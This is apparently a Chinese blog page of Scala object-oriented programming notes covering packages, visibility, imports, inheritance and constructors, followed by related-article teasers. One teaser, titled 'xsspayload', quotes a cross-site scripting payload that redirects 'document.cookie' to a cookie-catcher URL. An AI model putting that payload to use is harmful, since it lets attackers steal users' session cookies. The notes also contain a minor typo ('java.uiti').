Scala面向对象详解
Scala的包(作用域)
package com.jh.scala 等同于 package jh \n package scala 等同于 package com.jh{ package scala {
第一个包生明对当前整个文件内的包声明有效
1,源文件的目录和包之间并没有强制的关联关系
包对象(弥补了JVM的不足)
包可以包含 类,对象和 trait ,但不能包含函数或变量的定义,这是Java虚拟机的局限
package scala { }
package object scala { }
包可见性
访问权限缺省时,Scala默认 public 访问权限
var name = "Vow"
属性为私有时,只在类的内部和伴生对象中可用
private var name = "Vow"
Scala 中受保护权限比Java中更严格,只能子类访问,同包无法访问
protected var name = "Vow"
给指定包以访问权限【可以给到com,所有都可访问】
private【scala】val name = "Vow"
引入(导包)
import 语句可以出现在任何地方
import scala.beans._ 用下滑线作为通配符
import scala.collection.mutable.{HashMap,HashSet} 采用选取器{}
重命名和隐藏
如果引入的多个包中含有相同的类,那么可以将不需要的类进行重命名以便区分
import java.uiti.{HashMap=>JavaHashMap,List}
import scala.collection.mutable._
var map = new HashMap() // scala 中的HashMap
var map1 = new JavaHashMap(); // java 中的HashMap别名
如果某个冲突的类根本用不到,那么可以隐藏
import java.util.{HashMap=>_,_}
继承
和Java一样使用extends关键字,在定义中给出子类需要而超类没有的字段和方法,或者重写超类的方法。
如果类声明为final,他将不能被继承。如果单个方法声明为final,将不能被重写
重写方法
重写一个非抽象方法需要用 override 修饰符,调用超类的方法使用 super关键字
类型检查和转换
用 isInstanceOf 方法测试某个对象是否属于某个给定的类
用 asInstanceOf 方法将引用转换为子类的引用
用 classOf 获取对象的类名
受保护的字段和方法
protected在Scala 中,只有继承关系才可以访问,同一个包下,也不可以。
超类的构造
子类的辅助构造器最终都会调用主构造器
只有子类构造器可以调用超类的构造器。辅助构造器永远都不可能直接调用超类的构造器。
class Person(name:String){}
class Emp(name:String)extends Person(name){ // 将子类参数传递给父类构造器
// super(name) (X) 没有这种语法
}
覆写字段
子类改写父类的字段
Scala面向对象详解的更多相关文章
- Java面向对象详解
Java面向对象详解 前言:接触项目开发也有很长一段时间了,最近开始萌发出想回过头来写写以前学 过的基础知识的想法.一是原来刚开始学习接触编程,一个人跌跌撞撞摸索着往前走,初学的时候很多东西理解的也懵 ...
- Scala 入门详解
Scala 入门详解 基本语法 Scala 与 Java 的最大区别是:Scala 语句末尾的分号 ; 是可选的 Scala 程序是对象的集合,通过调用彼此的方法来实现消息传递.类,对象,方法,实例变 ...
- JS 面向对象详解
面向对象详解1 OO1.html <!DOCTYPE html> <html> <head> <meta charset="utf-8" ...
- java之面向对象详解
#############java面向对象详解#############1.面向对象基本概念2.类与对象3.类和对象的定义格式4.对象与内存分析5.封装性6.构造方法7.this关键字8.值传递与引用 ...
- php开发面试题---php面向对象详解(对象的主要三个特性)
php开发面试题---php面向对象详解(对象的主要三个特性) 一.总结 一句话总结: 对象的行为:可以对 对象施加那些操作,开灯,关灯就是行为. 对象的形态:当施加那些方法是对象如何响应,颜色,尺寸 ...
- C#基础-面向对象详解
面向对象详解 一.什么是面向对象 1>面向对象是一种程序设计思想 2>面向过程和面向对象是什么? 例如要把大象放冰箱怎么做? 面向过程:打开冰箱门->把大象扔进去->关上冰箱门 ...
- scala 模式匹配详解 3 模式匹配的核心功能是解构
http://www.artima.com/scalazine/articles/pattern_matching.html这篇文章是odersky谈scala中的模式匹配的一段对话,我做了部分片段翻 ...
- scala 模式匹配详解 2 scala里是怎么实现的?
在这篇martin和另外两位模式匹配领域专家的论文里说了模式匹配的几种实现方式,以及scala是选择哪种方式来实现的.http://lampwww.epfl.ch/~emir/written/Matc ...
- Spark入门到精通--(第二节)Scala编程详解基础语法
Scala是什么? Scala是以实现scaleable language为初衷设计出来的一门语言.官方中,称它是object-oriented language和functional languag ...
随机推荐
- sklearn保存模型-【老鱼学sklearn】
训练好了一个Model 以后总需要保存和再次预测, 所以保存和读取我们的sklearn model也是同样重要的一步. 比如,我们根据房源样本数据训练了一下房价模型,当用户输入自己的房子后,我们就需要 ...
- jmeter的基本功能使用详解
jmeter是apache公司基于java开发的一款开源压力测试工具,体积小,功能全,使用方便,是一个比较轻量级的测试工具,使用起来非常简 单.因为jmeter是java开发的,所以运行的时候必须先要 ...
- LNMP一键安装包添加虚拟主机、删除虚拟主机及如何使用伪静态
本文主要介绍LNMP一键安装包添加虚拟主机.删除虚拟主机及如何使用伪静态. 一.添加虚拟主机通俗点就是在VPS/服务商上添加一个网站(域名). 需要执行如下命令:/root/vhost.sh 执行后会 ...
- xsspayload
元素on事件: prompt(document.cookie) document.location= "http://www.example.com/cookie_catcher.php?c ...
- VsCode创建第一个vue项目
使用vue-cli快速构建项目 vue-cli 是vue.js的脚手架,用于自动生成vue.js模板工程的. 安装vue-cli之前,需要先安装了vue和webpack · node -v ...
- echarts研究
1.echarts是什么? 关键字:data visualization,canvas,chart Echarts是基于轻量级的canvas类库,纯javaScript实现,MVC封装,数据驱动,一款 ...
- 201771010118马昕璐《面向对象程序设计java》第八周学习总结
第一部分:理论知识学习部分 1.接口 在Java程序设计语言中,接口不是类,而是对类的一组需求描述,由常量和一组抽象方法组成.Java为了克服单继承的缺点,Java使用了接口,一个类可以实现一个或多个 ...
- Node.js_express_服务器渲染页面 ejs
服务器渲染页面 ejs 高效的 js 模版引擎 将数据提前渲染到页面上, 再将渲染好的页面返回响应给浏览器 提高首页加载速度 SEO 提前处理,提高加载速度 下载 ejs 包 npm install ...
- Source Insight4
创建工程: File->open 打开创建的工程 同步文件: 方便跟踪 Project->Synchronize Files 打开小窗口 ...
- java.text.DateFormat 线程不安全问题
java.text下的 DateFormat 是线程不安全的: 建议1: 1.使用threadLocal包装DateFormat(太复杂,不推荐) 2.使用org.apache.commons.lan ...